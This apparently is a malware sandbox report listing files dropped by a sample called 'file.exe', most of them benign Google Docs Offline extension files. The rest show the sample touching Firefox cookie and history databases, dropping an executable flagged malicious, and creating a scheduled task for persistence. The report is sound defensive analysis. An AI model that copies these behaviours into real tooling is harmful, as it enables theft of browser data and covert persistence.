C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJDGCGHCGHC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.950712593238817
Encrypted:	false
SSDEEP:	49152:JzqRbJAOwImTwJuvYsiI5kDbZF6j9FWHK:wRVA8xobiI566j9Aq
MD5:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
SHA1:	694124BF2E8D817B7F188706BBC49D0088317FE2
SHA-256:	D4E13FAEFC09EB85BE337713E8899E9F6761D45593E33D19B14AC6F986B2A103
SHA-512:	82B990CE963247C140161CE9AB28C79C5B4D648DDF46D622E152E3C0D79842BE1CF1009A493B7AF37B83976F36C05B56E353C6F7166DFC701979F87447F51FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL.....-.....@.................................W...k.......D.....................L.............................<.L..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . +.........................@...dkmnrssd.@....1..4..................@...tqafgssw......L......*..............@....taggant.0... L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJDGCGHCGHC.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.464469723955785
Encrypted:	false
SSDEEP:	6:NrY9XUhXUEZ+lX1CGdKUe6tE9+AQy0lB/ut0:NrYp4Q1CGAFD9+nVBGt0
MD5:	4D75D4649BF34DAE6A6A91335175453A
SHA1:	6B46A51D943010FD261AC251BC5BF6F7791912CA
SHA-256:	FBB4315B38381DC883A70A73978C351FE507FDBFBADAAD07F93C528984500A43
SHA-512:	F13411A51A8DC14D46A9F6722B3B85E450ACB9E7E93E1FBF1E004439B9311D06872FCCE1BE3208D6B835CA32A36C259B088E9FA15537DDC0C2C0C6C391CD5E9D
Malicious:	false
Preview:	.....J....E..X.....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6105)
Category:	downloaded
Size (bytes):	6110
Entropy (8bit):	5.789888906617186
Encrypted:	false
SSDEEP:	96:ztsli5H6666kriIjMvgo41PEk8USUF96dYfPK9z0TmH6666B6MMadKxKXIc2JpUk:Y4H6666ciI91NEkzJ96YHK9ATmH6666e
MD5:	C61E815A12BE751D61DC03F9A9F682D1
SHA1:	CFE55BF4CF9BF17505CCD674B8336C6D1309B144
SHA-256:	439BDB7D9C7670141B54CC9A0C21E571747C7506D6A2A2EF453CA0BD5C42356F
SHA-512:	97BD6F0C63479727C2C09384A19FA976B30206CF4AFF0412E6DD2A7934D1E8FE028399ECFFFAD9BB673D08B0E512B3FED7B40FA28539E1B9E08D266FFA61E02F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
